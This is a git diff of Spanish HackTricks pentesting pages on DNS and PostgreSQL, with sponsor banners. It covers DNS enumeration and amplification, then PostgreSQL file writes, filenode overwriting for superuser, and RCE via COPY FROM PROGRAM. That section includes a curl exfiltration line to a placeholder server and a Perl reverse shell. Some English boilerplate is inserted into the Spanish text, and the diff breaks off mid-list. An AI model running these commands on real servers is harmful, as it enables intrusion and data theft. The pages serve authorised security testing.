Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración instantánea disponible para evaluación de vulnerabilidades y pentesting**. Ejecuta un pentest completo desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
|
||||
**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Ejecuta un pentest completo desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **Información Básica**
|
||||
|
||||
El **Sistema de Nombres de Dominio (DNS)** sirve como el directorio de Internet, permitiendo a los usuarios acceder a sitios web a través de **nombres de dominio fáciles de recordar** como google.com o facebook.com, en lugar de las direcciones numéricas del Protocolo de Internet (IP). Al traducir nombres de dominio en direcciones IP, el DNS asegura que los navegadores web puedan cargar rápidamente recursos de Internet, simplificando cómo navegamos en el mundo en línea.
|
||||
El **Sistema de Nombres de Dominio (DNS)** sirve como el directorio de Internet, permitiendo a los usuarios acceder a sitios web a través de **nombres de dominio fáciles de recordar** como google.com o facebook.com, en lugar de las direcciones numéricas de Protocolo de Internet (IP). Al traducir nombres de dominio en direcciones IP, el DNS garantiza que los navegadores web puedan cargar rápidamente recursos de Internet, simplificando cómo navegamos en el mundo en línea.
|
||||
|
||||
**Puerto predeterminado:** 53
|
||||
```
|
||||
|
@ -150,14 +150,28 @@ dnsdict6 -s -t <domain>
|
|||
```
|
||||
## Bruteforce reverse DNS in using IPv6 addresses
|
||||
|
||||
## Fuerza bruta en la resolución inversa de DNS utilizando direcciones IPv6
|
||||
### Introduction
|
||||
|
||||
In IPv6, reverse DNS lookup is performed using the `ip6.arpa` domain. To bruteforce reverse DNS in IPv6 addresses, you can use tools like `dnsrecon` or `dnsenum`.
|
||||
|
||||
### Steps to bruteforce reverse DNS in IPv6 addresses
|
||||
|
||||
1. **Generate IPv6 addresses**: Use a tool like `ipv6gen` to generate a list of IPv6 addresses to bruteforce.
|
||||
|
||||
2. **Perform reverse DNS lookup**: Use a tool like `dnsrecon` with the generated IPv6 addresses to perform reverse DNS lookup.
|
||||
|
||||
3. **Automate the process**: You can script the process to automate the bruteforcing of reverse DNS in IPv6 addresses.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Bruteforcing reverse DNS in IPv6 addresses can help identify misconfigurations or potential security issues in the DNS setup. It is important to obtain proper authorization before conducting such tests.
|
||||
```bash
|
||||
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
||||
```
|
||||
### Ataque de denegación de servicio (DDoS) por Recursión de DNS
|
||||
|
||||
Si la **recursión de DNS está habilitada**, un atacante podría **falsificar** el **origen** en el paquete UDP para hacer que el **DNS envíe la respuesta al servidor víctima**. Un atacante podría abusar de los tipos de registros **ANY** o **DNSSEC** ya que suelen tener las respuestas más grandes.\
|
||||
La forma de **verificar** si un DNS admite **recursión** es consultar un nombre de dominio y **verificar** si la bandera "ra" (_recursión disponible_) está en la respuesta:
|
||||
La forma de **verificar** si un DNS admite la **recursión** es consultar un nombre de dominio y **verificar** si la **bandera "ra"** (_recursión disponible_) está en la respuesta:
|
||||
```bash
|
||||
dig google.com A @<IP>
|
||||
```
|
||||
|
@ -169,13 +183,13 @@ dig google.com A @<IP>
|
|||
|
||||
![](<../.gitbook/assets/image (276).png>)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración disponible al instante para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
|
||||
**Configuración disponible al instante para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo adicional para profundizar, obtener acceso y divertirse.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
### Correo a una cuenta inexistente
|
||||
### Correo a cuenta inexistente
|
||||
|
||||
A través del examen de una notificación de no entrega (NDN) desencadenada por un correo electrónico enviado a una dirección no válida dentro de un dominio objetivo, a menudo se revelan detalles valiosos de la red interna.
|
||||
|
||||
|
@ -217,12 +231,10 @@ host.conf
|
|||
/etc/bind/named.conf.log
|
||||
/etc/bind/*
|
||||
```
|
||||
### Configuraciones peligrosas al configurar un servidor Bind:
|
||||
|
||||
| **Opción** | **Descripción** |
|
||||
| **Opción** | **Descripción** |
|
||||
| ----------------- | ------------------------------------------------------------------------------ |
|
||||
| `allow-query` | Define qué hosts tienen permitido enviar solicitudes al servidor DNS. |
|
||||
| `allow-recursion` | Define qué hosts tienen permitido enviar solicitudes recursivas al servidor DNS. |
|
||||
| `allow-recursion` | Define qué hosts tienen permitido enviar solicitudes recursivas al servidor DNS.|
|
||||
| `allow-transfer` | Define qué hosts tienen permitido recibir transferencias de zona desde el servidor DNS. |
|
||||
| `zone-statistics` | Recopila datos estadísticos de las zonas. |
|
||||
|
||||
|
@ -230,8 +242,6 @@ host.conf
|
|||
|
||||
* [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/)
|
||||
* Libro: **Network Security Assessment 3rd edition**
|
||||
|
||||
## Comandos Automáticos de HackTricks
|
||||
```
|
||||
Protocol_Name: DNS #Protocol Abbreviation if there is one.
|
||||
Port_Number: 53 #Comma separated if there is more than one.
|
||||
|
@ -284,20 +294,20 @@ Description: DNS enumeration without the need to run msfconsole
|
|||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la reconstrucción hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
|
||||
**Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# 5432,5433 - Pentesting Postgresql
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -10,7 +10,7 @@ Obtenga acceso hoy:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
@ -24,9 +24,9 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
## **Información Básica**
|
||||
|
||||
**PostgreSQL** se describe como un sistema de base de datos **objeto-relacional** que es **de código abierto**. Este sistema no solo utiliza el lenguaje SQL, sino que también lo mejora con características adicionales. Sus capacidades le permiten manejar una amplia gama de tipos de datos y operaciones, lo que lo convierte en una opción versátil para desarrolladores y organizaciones.
|
||||
**PostgreSQL** se describe como un sistema de base de datos **objeto-relacional** que es de **código abierto**. Este sistema no solo utiliza el lenguaje SQL, sino que también lo mejora con características adicionales. Sus capacidades le permiten manejar una amplia gama de tipos de datos y operaciones, lo que lo convierte en una elección versátil para desarrolladores y organizaciones.
|
||||
|
||||
**Puerto predeterminado:** 5432, y si este puerto ya está en uso, parece que PostgreSQL utilizará el siguiente puerto disponible (probablemente 5433) que no esté en uso.
|
||||
**Puerto predeterminado:** 5432, y si este puerto ya está en uso, parece que postgresql utilizará el siguiente puerto disponible (probablemente 5433) que no esté en uso.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5432/tcp open pgsql
|
||||
|
@ -72,7 +72,7 @@ SELECT * FROM pg_extension;
|
|||
\s
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Si al ejecutar **`\list`** encuentras una base de datos llamada **`rdsadmin`** sabrás que estás dentro de una base de datos de **PostgreSQL de AWS**.
|
||||
Si al ejecutar **`\list`** encuentras una base de datos llamada **`rdsadmin`** sabrás que estás dentro de una **base de datos PostgreSQL de AWS**.
|
||||
{% endhint %}
|
||||
|
||||
Para obtener más información sobre **cómo abusar de una base de datos PostgreSQL** consulta:
|
||||
|
@ -118,47 +118,31 @@ the server terminated abnormally before or while processing the request
|
|||
|
||||
#### Enumeration
|
||||
|
||||
When conducting a penetration test against a PostgreSQL database server, the following steps can be taken to enumerate information:
|
||||
When conducting a PostgreSQL pentest, start by identifying the PostgreSQL service version using tools like `nmap` or `pg_version`.
|
||||
|
||||
1. **Banner Grabbing**: Use tools like `nmap` or `telnet` to connect to the PostgreSQL server and grab the banner to identify the version running.
|
||||
```bash
|
||||
nmap -sV -p 5432 <target>
|
||||
pg_version -h <target> -p 5432
|
||||
```
|
||||
|
||||
2. **Port Scanning**: Scan for open ports using tools like `nmap` to identify PostgreSQL running on default port `5432`.
|
||||
Next, attempt to connect to the PostgreSQL service using `psql` or `pgcli`.
|
||||
|
||||
3. **Service Version**: Use tools like `nmap` to identify the version of PostgreSQL service running.
|
||||
|
||||
4. **Brute Forcing**: Attempt to brute force PostgreSQL credentials using tools like `Hydra` or `Metasploit`.
|
||||
```bash
|
||||
psql -h <target> -U <username> -d <database>
|
||||
pgcli -h <target> -U <username> -d <database>
|
||||
```
|
||||
|
||||
#### Exploitation
|
||||
|
||||
Once vulnerabilities are identified, exploitation can be attempted using techniques like SQL injection, insecure configurations, or weak credentials.
|
||||
To exploit PostgreSQL, you can use tools like `Metasploit` or manually exploit vulnerabilities like weak credentials, SQL injection, or insecure configurations.
|
||||
|
||||
#### Post-Exploitation
|
||||
|
||||
After successful exploitation, a penetration tester can perform various post-exploitation activities like accessing sensitive data, escalating privileges, or maintaining access to the PostgreSQL server.
|
||||
```
|
||||
After gaining access to the PostgreSQL database, you can perform various post-exploitation activities such as extracting sensitive data, creating new accounts, or dropping databases.
|
||||
|
||||
```html
|
||||
### PostgreSQL
|
||||
#### Security Recommendations
|
||||
|
||||
#### Enumeración
|
||||
|
||||
Al realizar una prueba de penetración contra un servidor de base de datos PostgreSQL, se pueden seguir los siguientes pasos para enumerar información:
|
||||
|
||||
1. **Banner Grabbing**: Utilizar herramientas como `nmap` o `telnet` para conectarse al servidor PostgreSQL y obtener el banner para identificar la versión en ejecución.
|
||||
|
||||
2. **Escaneo de puertos**: Escanear puertos abiertos utilizando herramientas como `nmap` para identificar PostgreSQL en el puerto predeterminado `5432`.
|
||||
|
||||
3. **Versión del servicio**: Utilizar herramientas como `nmap` para identificar la versión del servicio PostgreSQL en ejecución.
|
||||
|
||||
4. **Fuerza bruta**: Intentar forzar credenciales de PostgreSQL utilizando herramientas como `Hydra` o `Metasploit`.
|
||||
|
||||
#### Explotación
|
||||
|
||||
Una vez identificadas las vulnerabilidades, se puede intentar la explotación utilizando técnicas como la inyección SQL, configuraciones inseguras o credenciales débiles.
|
||||
|
||||
#### Post-Explotación
|
||||
|
||||
Después de una explotación exitosa, un probador de penetración puede realizar diversas actividades de post-explotación como acceder a datos sensibles, escalar privilegios o mantener el acceso al servidor PostgreSQL.
|
||||
To secure PostgreSQL, ensure that strong passwords are used, limit network access to the PostgreSQL server, regularly update PostgreSQL to the latest version, and follow security best practices.
|
||||
```
|
||||
```
|
||||
DETAIL: FATAL: password authentication failed for user "name"
|
||||
|
@ -180,11 +164,11 @@ En las funciones PL/pgSQL, actualmente no es posible obtener detalles de excepci
|
|||
| rolinherit | El rol hereda automáticamente los privilegios de los roles de los que es miembro |
|
||||
| rolcreaterole | El rol puede crear más roles |
|
||||
| rolcreatedb | El rol puede crear bases de datos |
|
||||
| rolcanlogin | El rol puede iniciar sesión. Es decir, este rol puede ser dado como el identificador de autorización de sesión inicial. |
|
||||
| rolcanlogin | El rol puede iniciar sesión. Es decir, este rol puede ser dado como identificador de autorización de sesión inicial. |
|
||||
| rolreplication | El rol es un rol de replicación. Un rol de replicación puede iniciar conexiones de replicación y crear y eliminar espacios de replicación. |
|
||||
| rolconnlimit | Para roles que pueden iniciar sesión, establece el número máximo de conexiones simultáneas que este rol puede realizar. -1 significa sin límite. |
|
||||
| rolpassword | No es la contraseña (siempre se muestra como `********`) |
|
||||
| rolvaliduntil | Hora de vencimiento de la contraseña (solo se usa para autenticación de contraseña); nulo si no hay vencimiento |
|
||||
| rolvaliduntil | Hora de caducidad de la contraseña (solo se usa para autenticación de contraseña); nulo si no hay vencimiento |
|
||||
| rolbypassrls | El rol omite todas las políticas de seguridad a nivel de fila, consulta [Sección 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para más información. |
|
||||
| rolconfig | Valores predeterminados específicos del rol para variables de configuración en tiempo de ejecución |
|
||||
| oid | ID del rol |
|
||||
|
@ -331,13 +315,19 @@ copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/ju
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Recuerda que si no eres un superusuario pero tienes los permisos **`CREATEROLE`** puedes **hacerte miembro de ese grupo:**
|
||||
Recuerda que si no eres un superusuario pero tienes permisos de **`CREATEROLE`** puedes **hacerte miembro de ese grupo:**
|
||||
```sql
|
||||
GRANT pg_write_server_files TO username;
|
||||
```
|
||||
[**Más información.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
Recuerda que COPY no puede manejar caracteres de nueva línea, por lo tanto, incluso si estás usando una carga útil en base64 **necesitas enviar un comando en una sola línea**.\
|
||||
Una limitación muy importante de esta técnica es que **`copy` no se puede utilizar para escribir archivos binarios ya que modifica algunos valores binarios.**
|
||||
|
||||
### **Carga de archivos binarios**
|
||||
|
||||
Sin embargo, hay **otras técnicas para cargar archivos binarios grandes:**
|
||||
Sin embargo, existen **otras técnicas para cargar archivos binarios grandes:**
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
|
||||
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
|
||||
|
@ -345,13 +335,13 @@ Sin embargo, hay **otras técnicas para cargar archivos binarios grandes:**
|
|||
|
||||
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!
|
||||
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
### Actualización de datos de tabla PostgreSQL mediante escritura de archivo local
|
||||
|
||||
Si tienes los permisos necesarios para leer y escribir archivos del servidor PostgreSQL, puedes actualizar cualquier tabla en el servidor al **sobrescribir el nodo de archivo asociado** en [el directorio de datos de PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Más sobre esta técnica** [**aquí**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
Si tienes los permisos necesarios para leer y escribir archivos del servidor PostgreSQL, puedes actualizar cualquier tabla en el servidor sobrescribiendo el nodo de archivo asociado en [el directorio de datos de PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Más sobre esta técnica** [**aquí**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
|
||||
Pasos requeridos:
|
||||
|
||||
|
@ -361,7 +351,7 @@ Pasos requeridos:
|
|||
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||||
```
|
||||
|
||||
**Nota:** Si no puedes recuperar la ruta actual del directorio de datos desde la configuración, puedes consultar la versión principal de PostgreSQL a través de la consulta `SELECT version()` e intentar forzar la ruta. Las rutas comunes de directorio de datos en instalaciones Unix de PostgreSQL son `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Un nombre de clúster común es `main`.
|
||||
**Nota:** Si no puedes recuperar la ruta actual del directorio de datos desde la configuración, puedes consultar la versión principal de PostgreSQL a través de la consulta `SELECT version()` e intentar adivinar la ruta. Las rutas comunes de directorio de datos en instalaciones Unix de PostgreSQL son `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Un nombre de clúster común es `main`.
|
||||
2. Obtener una ruta relativa al nodo de archivo, asociado con la tabla objetivo
|
||||
|
||||
```sql
|
||||
|
@ -374,7 +364,7 @@ Esta consulta debería devolver algo como `base/3/1337`. La ruta completa en dis
|
|||
```sql
|
||||
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
|
||||
```
|
||||
4. Obtener el tipo de datos, asociado con la tabla objetivo
|
||||
4. Obtener el tipo de datos asociado con la tabla objetivo
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
|
@ -395,25 +385,25 @@ JOIN pg_class
|
|||
ON pg_attribute.attrelid = pg_class.oid
|
||||
WHERE pg_class.relname = '{NOMBRE_DE_LA_TABLA}';
|
||||
```
|
||||
5. Utilizar el [Editor de Nodos de Archivo de PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) para [editar el nodo de archivo](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); establecer todos los indicadores booleanos `rol*` en 1 para permisos completos.
|
||||
5. Utilizar el [Editor de Filenode de PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) para [editar el nodo de archivo](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); establece todos los indicadores booleanos `rol*` en 1 para permisos completos.
|
||||
|
||||
```bash
|
||||
python3 postgresql_filenode_editor.py -f {NODO_DE_ARCHIVO} --datatype-csv {DATATYPE_CSV_DE_PASO_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
|
||||
```
|
||||
|
||||
![Demo del Editor de Nodos de Archivo de PostgreSQL](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
|
||||
6. Volver a cargar el nodo de archivo editado a través de las funciones `lo_*` y sobrescribir el archivo original en el disco
|
||||
![Demo del Editor de Filenode de PostgreSQL](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
|
||||
6. Vuelve a cargar el nodo de archivo editado a través de las funciones `lo_*` y sobrescribe el archivo original en el disco
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(13338,decode('{NODO_DE_ARCHIVO_EDITADO_ENCODED_BASE64}','base64'))
|
||||
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
|
||||
```
|
||||
7. _(Opcionalmente)_ Limpiar la caché de tabla en memoria ejecutando una consulta SQL costosa
|
||||
7. _(Opcional)_ Limpia la caché de la tabla en memoria ejecutando una consulta SQL costosa
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
|
||||
```
|
||||
8. Ahora deberías ver los valores de tabla actualizados en PostgreSQL.
|
||||
8. Ahora deberías ver los valores de la tabla actualizados en PostgreSQL.
|
||||
|
||||
También puedes convertirte en un superadministrador editando la tabla `pg_authid`. **Consulta** [**la siguiente sección**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
|
||||
|
||||
|
@ -421,7 +411,7 @@ También puedes convertirte en un superadministrador editando la tabla `pg_authi
|
|||
|
||||
### **RCE a programa**
|
||||
|
||||
Desde [la versión 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), solo los **superusuarios** y los miembros del grupo **`pg_execute_server_program`** pueden usar copy para RCE (ejemplo con exfiltración:
|
||||
Desde la [versión 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), solo los **superusuarios** y los miembros del grupo **`pg_execute_server_program`** pueden usar copy para RCE (ejemplo con exfiltración:
|
||||
```sql
|
||||
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
|
||||
```
|
||||
|
@ -439,7 +429,7 @@ DROP TABLE IF EXISTS cmd_exec;
|
|||
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Recuerda que si no eres un superusuario pero tienes permisos **`CREATEROLE`**, puedes **hacerte miembro de ese grupo:**
|
||||
Recuerda que si no eres un super usuario pero tienes los permisos **`CREATEROLE`**, puedes **hacerte miembro de ese grupo:**
|
||||
```sql
|
||||
GRANT pg_execute_server_program TO username;
|
||||
```
|
||||
|
@ -447,7 +437,7 @@ GRANT pg_execute_server_program TO username;
|
|||
{% endhint %}
|
||||
|
||||
O utiliza el módulo `multi/postgres/postgres_copy_from_program_cmd_exec` de **metasploit**.\
|
||||
Más información sobre esta vulnerabilidad [**aquí**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Aunque se reportó como CVE-2019-9193, Postges declaró que era una [característica y no será corregida](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
Más información sobre esta vulnerabilidad [**aquí**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Aunque se reportó como CVE-2019-9193, Postges declaró que era una [característica y no se corregirá](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
|
||||
### RCE con Lenguajes de PostgreSQL
|
||||
|
||||
|
@ -469,7 +459,7 @@ Una vez que hayas **aprendido** del post anterior **cómo cargar archivos binari
|
|||
Los siguientes vectores de RCE son especialmente útiles en contextos de SQLi restringidos, ya que todos los pasos se pueden realizar a través de declaraciones SELECT anidadas.
|
||||
{% endhint %}
|
||||
|
||||
El **archivo de configuración** de PostgreSQL es **editable** por el usuario **postgres**, que es el que ejecuta la base de datos, por lo que como **superusuario**, puedes escribir archivos en el sistema de archivos, y por lo tanto puedes **sobrescribir este archivo**.
|
||||
El **archivo de configuración** de PostgreSQL es **editable** por el usuario **postgres**, que es el que ejecuta la base de datos, por lo que como **superusuario**, puedes escribir archivos en el sistema de archivos, y por lo tanto puedes **sobrescribir este archivo.**
|
||||
|
||||
![](<../.gitbook/assets/image (303).png>)
|
||||
|
||||
|
@ -481,7 +471,7 @@ El archivo de configuración tiene algunos atributos interesantes que pueden lle
|
|||
|
||||
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Ruta de la clave privada de la base de datos
|
||||
* `ssl_passphrase_command = ''` Si el archivo privado está protegido por contraseña (encriptado) postgresql **ejecutará el comando indicado en este atributo**.
|
||||
* `ssl_passphrase_command_supports_reload = off` **Si** este atributo está **activado**, el **comando** ejecutado si la clave está protegida por contraseña **se ejecutará** cuando se ejecute `pg_reload_conf()`.
|
||||
* `ssl_passphrase_command_supports_reload = off` **Si** este atributo está **activado** el **comando** ejecutado si la clave está protegida por contraseña **se ejecutará** cuando se ejecute `pg_reload_conf()`.
|
||||
|
||||
Entonces, un atacante necesitará:
|
||||
|
||||
|
@ -503,12 +493,12 @@ Al probar esto, noté que solo funcionará si el **archivo de clave privada tien
|
|||
|
||||
Otro atributo en el archivo de configuración que es explotable es `archive_command`.
|
||||
|
||||
Para que esto funcione, la configuración `archive_mode` debe ser `'on'` o `'always'`. Si es así, podríamos sobrescribir el comando en `archive_command` y forzarlo a ejecutarse a través de las operaciones de WAL (write-ahead logging).
|
||||
Para que esto funcione, la configuración `archive_mode` debe ser `'on'` o `'always'`. Si es así, podríamos sobrescribir el comando en `archive_command` y forzar su ejecución a través de las operaciones de WAL (write-ahead logging).
|
||||
|
||||
Los pasos generales son:
|
||||
|
||||
1. Verificar si el modo de archivo está habilitado: `SELECT current_setting('archive_mode')`
|
||||
